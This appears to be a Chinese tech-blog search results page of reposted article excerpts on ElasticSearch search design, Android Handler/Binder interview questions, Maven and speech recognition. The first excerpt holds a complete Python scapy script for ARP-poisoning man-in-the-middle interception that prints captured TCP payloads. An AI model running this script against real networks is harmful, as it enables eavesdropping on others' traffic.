前端技术
HTML
CSS
Javascript
前端框架和UI库
VUE
ReactJS
AngularJS
JQuery
NodeJS
JSON
Element-UI
Bootstrap
Material UI
服务端和客户端
Java
Python
PHP
Golang
Scala
Kotlin
Groovy
Ruby
Lua
.net
c#
c++
后端WEB和工程框架
SpringBoot
SpringCloud
Struts2
MyBatis
Hibernate
Tornado
Beego
Go-Spring
Go Gin
Go Iris
Dubbo
HessianRPC
Maven
Gradle
数据库
MySQL
Oracle
Mongo
中间件与web容器
Redis
MemCache
Etcd
Cassandra
Kafka
RabbitMQ
RocketMQ
ActiveMQ
Nacos
Consul
Tomcat
Nginx
Netty
大数据技术
Hive
Impala
ClickHouse
DorisDB
Greenplum
PostgreSQL
HBase
Kylin
Hadoop
Apache Pig
ZooKeeper
SeaTunnel
Sqoop
Datax
Flink
Spark
Mahout
数据搜索与日志
ElasticSearch
Apache Lucene
Apache Solr
Kibana
Logstash
数据可视化与OLAP
Apache Atlas
Superset
Saiku
Tesseract
系统与容器
Linux
Shell
Docker
Kubernetes
[最大并发连接数设置对Beego应用性能的...]的搜索结果
这里是文章列表。热门标签的颜色随机变换,标签颜色没有特殊含义。
点击某个标签可搜索标签相关的文章。
点击某个标签可搜索标签相关的文章。
转载文章
...求包中将源IP地址,设置成为受害主机B的IP地址,这样,就会将主机A中的B的 MAC缓存,切换为我们的MAC地址。 同理,向B中发送ARP请求包,其中源IP地址为A的地址 然后,我们进行ARP数据包与IP数据包的中转,从而达到中间人攻击。 使用Python scapy包,实现中间人攻击: 环境 python3 ubuntu 14.04 VMware 虚拟专用网络 代码 !/usr/bin/python3from scapy.all import import threadingimport timeclient_ip = "192.168.222.186"client_mac = "00:0c:29:98:cd:05"server_ip = "192.168.222.185"server_mac = "00:0c:29:26:32:aa"my_ip = "192.168.222.187"my_mac = "00:0c:29:e5:f1:21"def packet_handle(packet):if packet.haslayer("ARP"):if packet.pdst == client_ip or packet.pdst == server_ip:if packet.op == 1: requestif packet.pdst == client_ip:pkt = Ether(dst=client_mac,src=my_mac)/ARP(op=1,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.pdst == server_ip:pkt = Ether(dst=server_mac,src=my_mac)/ARP(op=1,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)pkt = Ether(dst=packet.src)/ARP(op=2,pdst=packet.psrc,psrc=packet.pdst) replysendp(pkt)if packet.op == 2: replyif packet.pdst == client_ip:pkt = Ether(dst=client_mac,src=my_mac)/ARP(op=2,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.pdst == server_ip:pkt = Ether(dst=server_mac,src=my_mac)/ARP(op=2,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.haslayer("IP"):if packet[IP].dst == client_ip or packet[IP].dst == server_ip:if packet[IP].dst == client_ip:packet[Ether].dst=client_macif packet[IP].dst == server_ip:packet[Ether].dst=server_macpacket[Ether].src = my_macsendp(packet)if packet.haslayer("TCP"):print(packet[TCP].payload)class SniffThread(threading.Thread):def __init__(self):threading.Thread.__init__(self)def run(self):sniff(prn = packet_handle,count=0)class PoisoningThread(threading.Thread):__src_ip = ""__dst_ip = ""__mac = ""def __init__(self,dst_ip,src_ip,mac):threading.Thread.__init__(self)self.__src_ip = src_ipself.__dst_ip = dst_ipself.__mac = macdef run(self):pkt = Ether(dst=self.__mac)/ARP(pdst=self.__dst_ip,psrc=self.__src_ip)srp1(pkt)print("poisoning thread exit")if __name__ == "__main__":my_sniff = SniffThread()client = PoisoningThread(client_ip,server_ip,client_mac)server = PoisoningThread(server_ip,client_ip,server_mac)client.start()server.start()my_sniff.start()client.join()server.join()my_sniff.join() client_ip 为发送数据的IP server_ip 为接收数据的IP 参考质料 Linux邻居协议 学习笔记 之五 通用邻居项的状态机机制 https://blog.csdn.net/lickylin/article/details/22228047 转载于:https://www.cnblogs.com/r1ng0/p/9861525.html 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_30278237/article/details/96265452。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-05-03 13:04:20
561
转载
转载文章
...的一些最新动态和技术应用实例。近期,《信息安全技术与应用》期刊报道了一项关于网络空间安全监控的研究,其中就利用了类似的HTML内容抓取和分析技术,对全球范围内的公开漏洞报告进行了实时监测和智能分析,有效提升了漏洞管理效率并降低了潜在风险。 同时,随着Web技术的快速发展,HTML5标准的普及以及各类网站结构的复杂化,如何更精准高效地从海量网页中提取关键数据成为一个亟待解决的问题。例如,Mozilla最近发布的一篇博客文章详细介绍了其如何借助类似Jsoup的开源库优化Firefox浏览器的安全更新通告系统,通过精确筛选和解析HTML页面中的特定元素,实现了对安全漏洞信息的自动化获取和分类。 此外,针对网络安全领域,国内外众多安全研究团队正积极研发新型的信息抽取模型,结合机器学习、深度学习等先进技术,提升对网页内容的理解能力,以便更快更准确地定位高危漏洞。近日,在Black Hat USA 2023大会上,就有专家演示了利用强化学习方法训练出的智能爬虫,成功在大量网页中挖掘出尚未被广泛认知的隐蔽性安全漏洞。 综上所述,无论是基于Jsoup的传统HTML解析技术,还是结合AI前沿发展的智能信息抽取手段,都在不断推动网络安全监控和漏洞管理领域的进步,为构建更加安全可靠的网络环境提供了有力支持。
2023-07-19 10:42:16
296
转载
转载文章
...ADL),它从业务、应用和技术三个层次(Layer),物件、行为和主体三个方面(Aspect)和产品、组织、流程、资讯、资料、应用、技术领域(Domain)来进行描述。 可以通过图标库 选择BPMN绘制BPMN模型 EPC设计 EPC是用于说明业务流程工作流,是进行业务工程设计的 SAP R/3 建模概念的重要组件。 可以通过图标库 选择EPC绘制EPC模型 流程图 流程图是流经一个系统的信息流、观点流或部件流的图形代表。在企业中,流程图主要用来说明某一过程。这种过程既可以是生产线上的工艺流程,也可以是完成一项任务必需的管理过程。 流程图是揭示和掌握封闭系统运动状况的有效方式。作为诊断工具,它能够辅助决策制定,让管理者清楚地知道,问题可能出在什么地方,从而确定出可供选择的行动方案。 流程图有时也称作输入-输出图。该图直观地描述一个工作过程的具体步骤。流程图对准确了解事情是如何进行的,以及决定应如何改进过程极有帮助。这一方法可以用于整个企业,以便直观地跟踪和图解企业的运作方式。 流程图使用一些标准符号代表某些类型的动作,如决策用菱形框表示,具体活动用方框表示。但比这些符号规定更重要的,是必须清楚地描述工作过程的顺序。流程图也可用于设计改进工作过程,具体做法是先画出事情应该怎么做,再将其与实际情况进行比较。 可以通过图标库 选择流程图绘制 UX设计 Freedgo Design提供一系列UX设计的制作,可以实现IOS,安卓,以及一系列页面设计的效果制图,下面简单说明:IOS android material Bootstrap 手机应用 网站应用 平面图 Freedgo Design可以绘制平面图包括建筑平面表,房屋平面表,房屋效果图设计,在图例中提供了家庭、办公、厨房、卫生间等等图例,具体可以登录在线制图网站,查看 图例 网络架构图 Freedgo Design 可以绘制各种网络拓扑图,和机架图。 云架构 Freedgo Design 提供了各类云架构的系统架构图、系统部署图,包括AWS架构,阿里云架构、腾讯云架构、IBM、ORACLE、Azure和Google云等等。AWS 阿里云架构 腾讯云架构 IBM架构 ORACLE架构 Azure架构 GOOGLE架构 工程 Freedgo Design 提供在线基本电气图设计、在线电气逻辑图设计、在线电路原理图设计、在线接线图设计 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_39605997/article/details/109976987。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-04-03 21:03:06
106
转载
转载文章
...本转语音和语音转文本应用中的广泛应用。近期,这一领域的研究与实践正以前所未有的速度发展。 首先,Google的Cloud Text-to-Speech服务持续更新,提供更高质量、更自然的多语种合成声音,并且支持SSML标记语言以实现更多定制化功能,开发者可以借此构建更具表现力的语音交互产品。此外,百度也推出了自家的语音开放平台,其中包含丰富的中文语音识别模型和TTS技术,为中国市场提供了强大的本地化解决方案。 其次,在深度学习技术推动下,语音识别准确率不断提升。阿里云团队最近发布了一项研究成果,通过先进的端到端神经网络模型,实现了在复杂环境下的高精度普通话识别,尤其针对噪声抑制和口音适应性有显著提升,为智能设备、智能家居等场景提供了有力的技术支撑。 同时,随着开源社区的发展,Mozilla旗下的Deepspeech项目也在不断迭代,该项目基于RNN-T架构,致力于打造开源、免费且准确度高的语音识别引擎,让更多开发者能够参与到语音技术的研究和创新中来。 总之,随着人工智能及机器学习技术的不断发展,Python语音识别技术的应用将更加广泛,无论是日常生活中的智能助手,还是工业级的自动化设备,都将受益于这项技术的进步。对于开发者而言,紧跟最新技术动态并结合实际应用场景进行技术创新,将是掌握这一领域未来发展的关键所在。
2023-01-27 19:34:15
278
转载
转载文章
...自动识别验证码方面的应用。例如,有研究人员利用深度学习模型对专利网站的验证码进行智能识别,并结合自动化脚本实现高效、无误的批量下载。这一进展预示着未来可能实现完全自动化的专利全文下载解决方案。 此外,针对专利数据的合法合规使用,国家知识产权局近期发布了新版《专利信息公共服务体系建设方案》,强调将加强专利数据开放共享和安全保障,鼓励社会各界充分利用专利信息资源,推动技术创新与产业发展。 综上所述,无论是从实际应用工具的更新迭代,还是前沿科技的研究突破,都显示了专利全文批量下载领域的快速发展与创新实践。对于广大需要频繁查阅和分析专利全文的专业人士来说,关注这些动态不仅能提升工作效率,还能更好地适应知识产权保护环境的变化,从而在各自的领域中取得竞争优势。
2023-11-21 12:55:28
275
转载
转载文章
...理 Android 应用是通过消息驱动运行的,在 Android 中一切皆消息,包括触摸事件,视图的绘制、显示和刷新等等都是消息 Handler 是消息机制的上层接口,平时开发中我们只会接触到 Handler 和 Message,内部还有 MessageQueue 和 Looper 两大助手共同实现消息循环系统。 延迟消息是怎么实现的? 无论是即时消息还是延迟消息,都是计算出具体的时间,然后作为消息的 when 字段进程赋值 在 MessageQueue 中找到合适的位置(安排 when 小到大排列),并将消息插入到 MessageQueue 中;这样, MessageQueue 就是一个按照消息时间排列的一个链表结构 为什么 Handler 会报内存泄漏? 因为是内部类持有外部类的对象, sendMessage 的时候会调用到 Handler 的 enqueueMessage 方法,msg.target = this; Message 会持有 handler,而 handler 持有调用 handler 的对象,所以 gc 不能回收 Binder 篇 Binder 的定向制导,如何找到目标 Binder,唤起进程或者线程呢? Binder 实体服务其实有两种: 一是通过 addService 注册到 ServiceManager 中的服务,比如 ActivityManagerService、PackageManagerService、PowerManagerService 等,一般都是系统服务; 还有一种是通过 bindService 拉起的一些服务,一般是开发者自己实现的服务 这里先看通过 addService 添加的被 ServiceManager 所管理的服务 ServiceManager 是比较特殊的服务,所有应用都能直接使用,因为 ServiceManager 对于 Client 端来说 Handle 句柄是固定的,都是 0,所以 ServiceManager 服务并不需要查询,可以直接使用 Binder 为什么会有两棵 binder_ref 红黑树? Binder_proc 中存在两棵 binder_ref 红黑树,其实两棵红黑树中的节点是复用的,只是查询方式不同,一个通过 Handle 句柄,一个通过 node 节点查找 refs_by_node 红黑树主要是为了 Binder驱动往用户空间写数据所使用的,而 refs_by_desc 是用户空间向 Binder 驱动写数据使用的,只是方向问题 比如在服务 addService 的时候,binder 驱动会在在 ServiceManager 进程的 binder_proc 中查找 binder_ref 结构体 Binder 是如何做到一次拷贝的 用户空间的虚拟内存地址是映射到物理内存中的 对虚拟内存的读写实际上是对物理内存的读写,这个过程就是内存映射 这个内存映射过程是通过系统调用 mmap() 来实现的 Binder借助了内存映射的方法,在内核空间和接收方用户空间的数据缓存区之间做了一层内存映射,就相当于直接拷贝到了接收方用户空间的数据缓存区,从而减少了一次数据拷贝 Binder机制是如何跨进程的 在内核空间创建一块接收缓存区, 实现地址映射:将内核缓存区、接收进程用户空间映射到同一接收缓存区 发送进程通过系统调用(copy_from_user)将数据发送到内核缓存区;由于内核缓存区和接收进程用户空间存在映射关系,故相当于也发送了接收进程的用户空间,实现了跨进程通信 就举例这么多了,面试题也不是几个就能全部覆盖的,毕竟面试官不是吃素的,他会换着花样问你;有想跳槽拿高薪的 Android 开发的朋友,我这里分享一份 Handler、Binder 精选面试 PDF 文档;私信发送 “面试” 直达获取;想拿高薪的人很多,就看你肯不肯努力了 面试题 PDF 文档内容展示: Handler 机制之 Thread Handler 机制之 ThreadLocal Handler 机制之 SystemClock 类 Handler 机制之 Looper 与 Handler 简介 Android 跨进程通信 IPC 之 Binder 之 Framewor k层 C++ 篇 Android 跨进程通信 IPC 之 Binder 之 Framework 层 Java 篇 Android 跨进程通信 IPC 之 Binder 的补充 Android 跨进程通信 IPC 之 Binder 总结 小伙伴们如果有需要以上这些资料:私信发送 “面试” 直达获取,承诺100%免费! 本篇文章为转载内容。原文链接:https://blog.csdn.net/m0_62167422/article/details/127129133。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-11-15 10:35:50
218
转载
Java
...依然是当今世界面临的最大挑战之一。联合国政府间气候变化专门委员会(IPCC)最新发布的报告显示,全球变暖的速度比预期更快,极端天气事件频发。面对这一严峻形势,各国纷纷采取行动。欧盟提出了雄心勃勃的绿色新政计划,旨在到2050年实现碳中和目标。美国则重新加入了《巴黎协定》,并承诺在未来十年内大幅削减温室气体排放。科学家们呼吁全球合作,共同应对气候危机,否则后果将不堪设想。 这些热点话题不仅反映了科技进步带来的机遇,同时也揭示了人类社会必须面对的复杂问题。无论是数学、金融还是环境科学,每一个领域的进步都离不开跨学科的合作与创新思维。正如文章所提到的,学习编程就像掌握一门新语言,而掌握这些前沿知识则是适应未来社会的基础。让我们保持好奇心,不断探索未知的世界吧!
2025-03-17 15:54:40
64
林中小径
Maven
...效管理依赖、优化构建性能成为提高开发效率的关键。利用Maven的特性,开发者可以创建自定义的构建脚本、生命周期、插件,实现个性化的构建流程。例如,使用maven-antrun-plugin执行外部脚本,使用maven-source-plugin生成源码文档等。同时,遵循一些最佳实践,如保持pom.xml文件简洁、使用版本控制工具管理项目依赖、定期清理和整理构建记录,可以显著提升开发效率和项目的可维护性。 四、未来趋势与展望 展望未来,Maven将继续在自动化构建、依赖管理、多模块项目支持等方面进行创新,以满足日益增长的软件开发需求。随着DevOps文化的普及,Maven有望与持续集成/持续部署(CI/CD)工具更紧密地集成,实现自动化测试、构建、部署的无缝衔接。此外,随着微服务架构的兴起,Maven将发挥更大的作用,通过支持多模块项目,促进模块化开发和团队协作。 结语 从基础概念到高级用法,Maven为开发者提供了全方位的支持,使其在项目构建、依赖管理、自动化测试等方面具备强大的能力。通过不断学习和实践,开发者能够充分利用Maven的优势,提升项目开发效率,应对复杂的软件工程挑战。随着技术的发展,Maven的未来充满无限可能,期待更多开发者在这一领域探索创新,共同推动软件开发的进步。
2024-08-09 16:06:13
94
初心未变
转载文章
...UI自动化测试方面的应用越来越广泛。其中,PyAutoGUI作为一款基于Python的图形用户界面自动化库,不仅能够模拟鼠标和键盘操作,还支持跨平台使用,对于Windows、Mac OS X及Linux系统均能提供一致的操作接口。 与此同时,针对更复杂的交互场景如游戏或三维设计软件,一些高级模拟技术如Robot Framework、Appium也开始受到广泛关注。这些框架不仅能模拟基本的键盘鼠标输入,还能处理更精细的触屏手势操作,并能适应各种移动设备和桌面环境,极大提高了自动化测试的覆盖率和效率。 另外,在安全性方面,研究人员正不断探索如何防止恶意软件通过模拟合法用户的键盘和鼠标操作进行攻击。例如,某些安全软件已开始采用行为分析和机器学习算法来识别并阻止非人类产生的异常输入模式,确保只有真实的用户交互才能触发敏感操作。 总之,Python win32api提供的键盘鼠标模拟功能为自动化测试与脚本编写打开了新世界的大门,而结合最新的自动化测试技术和安全防护手段,我们不仅可以更高效地实现UI自动化,还能在保障用户体验的同时,有效抵御潜在的安全威胁。未来,随着相关技术的持续发展和完善,这一领域的应用场景将更加丰富多元。
2023-06-07 19:00:58
55
转载
ElasticSearch
...细节。 3.2.1 性能顾虑 上面提到了“表现”,其实性能只是elasticsearch的一个方面,主要你的机器资源足够(机器资源?对,包括你的机器个数,elasticsearch可以非常方便的横向扩展,以及单机的配置,cpu+内存,内存越高越好,elasticsearch比较吃内存!),它一定会给你很好的性能反应。试想,公司里的app打印线上日志的行数其实可比一般业务系统产生的订单数量要大很多很多,elasticsearch都可以常在日志的实时分析,所以如果你要做通用场景,而且机器资源不是问题,这是完全行得通的。 3.2.2 易用性和可玩性 此外,在使用elasticsearch的时候,会有很多的可玩性。这里不引经据典,呈现很多elasticsearch官方文章的列举优秀特性(当然,确实很优秀!)。 这里举几个例子: (1)中文分词:第一章提到的其它引擎几乎很难实现,elasticsearch对分词器的支持是原生的,因为elasticsearch天生就为全文索引而生,elasticsearch的汉语名字就是“弹性搜索”。这家伙可是专门搞搜索的! 有的朋友可能不了解分词器,比如你的一个字段里存储“今天我要吃冰激凌”,在分词器的加持下,es最终会存储为“今天|我|要|吃|冰激凌”,并且使用倒排索引的形式进行存储。当你搜索“冰激凌”的时候,可以很快的反馈回来。 关于elasticsearch的原理,这里不展开说明,分词器和倒排索引是elasticsearch的最基本的概念。如果有不了解的朋友,可以自行百度一下。而且这两个概念,与elasticsearch其实不挂钩,是搜索中的通用概念。 关于倒排索引,其核心表现如下图: 如果你要用mysql、mongo实现中文分词,这......其实挺麻烦的,可能在后面的版本支持中会实现的很好,但在当前的流行版本中,它们对中文分词是不够友好的。 mysql5.7之后支持外挂第三方分词器,支持中文分词。而在数据量较大的情况下,mysql的多机器部署几乎很难实现,elasticsearch可以很容易的水平扩展。 mongo支持西方语言的分词,但不支持中文、日语、汉语等东方语言,你需要在自己的逻辑代码中实现分词器。 ngram分词,你看看效果:依旧是“今天我要吃冰激凌”,ngram二元分词后即将得到结果“今天、天我、我要、要吃、吃冰、冰激、激凌”。这....,那你搜索冰激凌就搜不出来!咋办呢,当然可以使用三元分词。但是更好的解决方案还是中文分词器,但它们原生并不支持的。 (2)自定义排名场景:比如你的搜索“冰激凌”,结果中返回了有10条,这10条应该有你想对它指定的顺序。最简单的就是用默认的得分,但是如果你想人为干预这个得分怎么办? elasticsearch支持function_score功能(可以不用,这个是增强功能),es会在计算最终得分之前回调这个你指定的function_score回调函数,传入原始得分、行的原始数据,你可以在里面做计算,比如查询其它参考表、或查看是否是广告位,以得到新的score返回给用户。 function_scrore的功能不展开描述,是一个在自定义得分场景下十分有用又简单易用的功能!下面是一个使用示例,不仅如此,它是支持自定义函数的,自由度非常高。 (3)文本高亮:你用mysql或mongo也可以实现,比如用户搜索“冰激凌”,你只需要在逻辑代码中对“冰激凌”替换为“<span class='highlight-term'>冰激凌</span>”,然后前端做样式即可。但如果用户搜索了“好吃的冰激凌”咋办呢?还有就是英文大小写的场景,用户搜索"MAIN",那结果及时匹配到了“main”(小写的),这个单词是否应该高亮呢?也许这时候你会用业务代码实现toLowerCase下基于位置下标的匹配。 挺麻烦的吧,elasticsearch,自动可以返回高亮字段!并且可以自由指定高亮的html前后标签。 (4)实在太多了....这家伙天生为索引而生,而且版本还在不断地迭代。不差机器的话,用用吧! 4. 退而求其次 4.1 普通数据库 尽管elasticsearch在搜索场景下,是非常好用的利器!但是它比较消耗机器资源,如果你的数据规模并不大,而且想快速实现功能。你可以使用mysql或mongo来代替,完全没有问题。 技术是为了解决特定业务场景下的问题,结合当前手头的资源,适合自己的才是最好的。也许你搞了一个单机器的elasticsearch,单机器内存只有2G,它的表现并不会比mysql、mongo来的好。 当然,如果你为了使用上边提到的一些优秀的独有的特性,那elasticsearch一定还是最佳选择! 对于mysql(关系型数据库)和mongo(文档数据库)的区别这里不展开描述了,但对于搜索而言,两种都合适。有时候选型也不用很纠结,其实都是差不太多的东西,适合自己的、自己熟悉的、运维起来顺手的,就是最好的。 4.2 普通数据库实现中文分词搜索的原理 尽管mysql在5.7以后支持外挂第三方分词器,mongo在截止目前的版本中也不支持中文分词(你可能会看到一些文章中说可以指定language为chinese,但其实会报错的)。 其实当你选择普通数据库,你就不得不在逻辑代码中自己实现一套索引分词+搜索分词逻辑。 索引分词+搜索分词?为什么分开写,如果你有用过elasticsearch或solr,你会知道,在指定字段的时候,需要指定index分词器和search分词器。 下面以mongo为例做简要说明。 4.2.1 index分词器 意思是当数据“索引”截断如何分词。首先,这里必须要承认,数据之后存储了,才能被查询。在搜索中,这句话可以换成是“数据只有被索引了,才能被搜索”。 这时候请求打过来了,要索引一条数据,其中某字段是“今天我要吃冰激凌”,分词后得到“今天|我|要|吃|冰激凌”,这个就可以入库了。 如果你使用elasticsearch或solr,这个过程是自动的。如果你使用不支持外观分词器的常规数据库,这个过程你就要手动了,并把分词后的结果用空格分开(最好使用空格,因为西方语言的分词规则就是按空格拆分,以及逗号句号),存入数据库的一个待搜索的字段上。 效果如下图: 本站的其它博文中有介绍IKAnalyzer:https://www.52itw.com/java/6268.html 4.2.2 search分词器 当用户的查询请求打过来,用户输入了“好吃的冰激凌”,分词后得到“好吃|冰激凌”(“的”作为停用词stopwords,被自动忽略了,IKAnalyzer可以指定停用词表)。 于是这时候就回去上图的数据库表里面搜索“好吃 冰激凌”(与index分词器结果统一,还是用空格分隔)。 当然,对于mongo而言,你需要事先开启全文索引db.xxx.ensureIndex({content: "text"}),xxx是集合名,content是字段名,text是全文索引的标识。 mongo搜索的时候用这个语法:db.xxx.find( { $text: { $search: "好吃 冰激凌" } },{ score: { $meta: "textScore" } }).sort( { score: { $meta: "textScore" } } ) 4.2.3 索引库和存储库分开 为了减少单表的大小,为了让普通的列表查询、普通筛选可以跑的更快,你可以对原有的数据原封不动的做一张表。 然后对于搜索场景,再单独对需要被搜索的字段单独拎一张表出来! 然后二者之间做增量信号同步或定时差额同步,可能会有延迟,这个就看你能容忍多长时间(悄悄告诉你,elasticsearch也需要指定这个refresh时间,一般是1s到几秒、甚至分钟级。当然,二者的这个时间对饮的底层目的是不一样的)。 这样,搜索的时候先查询搜索库,拿到一个指针id的列表,然后拿到指针id的列表区存储里把数据一次性捞出来。当然,也是支持分页的,你查询搜索库其实也是普通的数据库查询嘛,支持分页参数的。 4.3 存储库和索引库的延伸阅读 很多有名的开源软件也是使用的存储库与索引库分离的技术方案,如apache atlas: apache atlas对于大数据领域的数据资产元数据管理、数据血缘上可谓是专家,也涉及资产搜索的特性,它的实现思路就是:从搜索库中做搜索、拿到key、再去存储库中做查询。 搜索库:上图右下角,可以看到使用的是elasticsearch、solr或lucene,多个选一个 存储库:上图左下角,可以看到使用的是Cassandra、HBase或BerkeleyDB,多个选一个 虽然apache atlas在只有搜索库或只有存储库的时候也可以很好的工作,但只针对于数据量并不大的场景。 搜索库,擅长搜索!存储库,擅长海量存储!搜索库多样化搜索,然后去存储库做点查。 当你的数据达到海量的时候,es+hbase也是一种很好的解决方案,不在这里展开说明了。
2024-01-27 17:49:04
539
admin-tim
转载文章
...Python编程,并应用于Web开发、数据可视化等多个热门领域,具有极强的时效性和实用性。 同时,针对近年来愈发重要的数据结构与算法领域,LeetCode等在线平台提供了大量实时更新的题目和详尽解析,为《算法导论》的学习者们提供了丰富的实战演练机会。众多科技公司也将LeetCode上的刷题成果视为衡量程序员技术水平的重要标准之一。 另外,在云计算、容器化技术大行其道的今天,《Docker in Action》成为了深入理解容器技术和实践DevOps理念的必备读物。它不仅介绍了Docker的基础操作,更探讨了如何利用Docker实现持续集成、微服务架构设计等前沿议题。 此外,随着人工智能与机器学习热潮的兴起,《Hands-On Machine Learning with Scikit-Learn, Keras, and TensorFlow》成为许多想入门AI领域的读者首选。此书通过实例教学,使读者能迅速掌握使用Python进行机器学习模型构建与应用部署。 综上所述,结合经典书籍与最新技术趋势的延伸阅读,能够帮助学习者拓宽视野、增强技能,更好地应对日新月异的计算机科学技术挑战。
2023-12-11 11:49:14
120
转载
转载文章
...了一份关于常见Web应用漏洞及其修复策略的报告,其中特别强调了SQL注入和文件上传漏洞的严重性,并提供了最新的防范措施和最佳实践。 在实战层面,OWASP Top 10项目持续更新其针对Web应用程序最常见的安全风险列表,SQL注入始终位列其中。研究人员建议开发者采用参数化查询、ORM工具以及输入验证等手段来防止此类攻击。此外,对于文件上传漏洞,应当限制上传文件类型、使用白名单机制并对上传内容进行严格的安全检查,避免恶意代码执行。 同时,在全球范围内,随着《通用数据保护条例》(GDPR)等法规的实施,企业对数据安全的重视程度日益提高,对潜在安全风险如SQL注入的防护已不再仅仅是技术问题,更是法律合规的重要组成部分。因此,企业和开发者需要定期进行安全审计和漏洞扫描,确保系统无类似安全隐患。 在教育领域,诸如Vulnhub这样的平台为学习者提供虚拟靶场环境,帮助他们通过实战演练提升发现并修补这些漏洞的能力。此外,许多在线课程和研讨会也开始深度剖析实际案例,讲解如何从防御和攻击两个角度理解和应对SQL注入、文件上传等关键Web应用安全挑战,以培养更多具备实战能力的网络安全人才。
2023-01-02 12:50:54
498
转载
站内搜索
用于搜索本网站内部文章,支持栏目切换。
知识学习
实践的时候请根据实际情况谨慎操作。
随机学习一条linux命令:
pgrep process_name
- 查找与进程名匹配的进程ID。
推荐内容
推荐本栏目内的其它文章,看看还有哪些文章让你感兴趣。
2023-04-28
2023-08-09
2023-06-18
2023-04-14
2023-02-18
2023-04-17
2024-01-11
2023-10-03
2023-09-09
2023-06-13
2023-08-07
2023-03-11
历史内容
快速导航到对应月份的历史文章列表。
随便看看
拉到页底了吧,随便看看还有哪些文章你可能感兴趣。
时光飞逝
"流光容易把人抛,红了樱桃,绿了芭蕉。"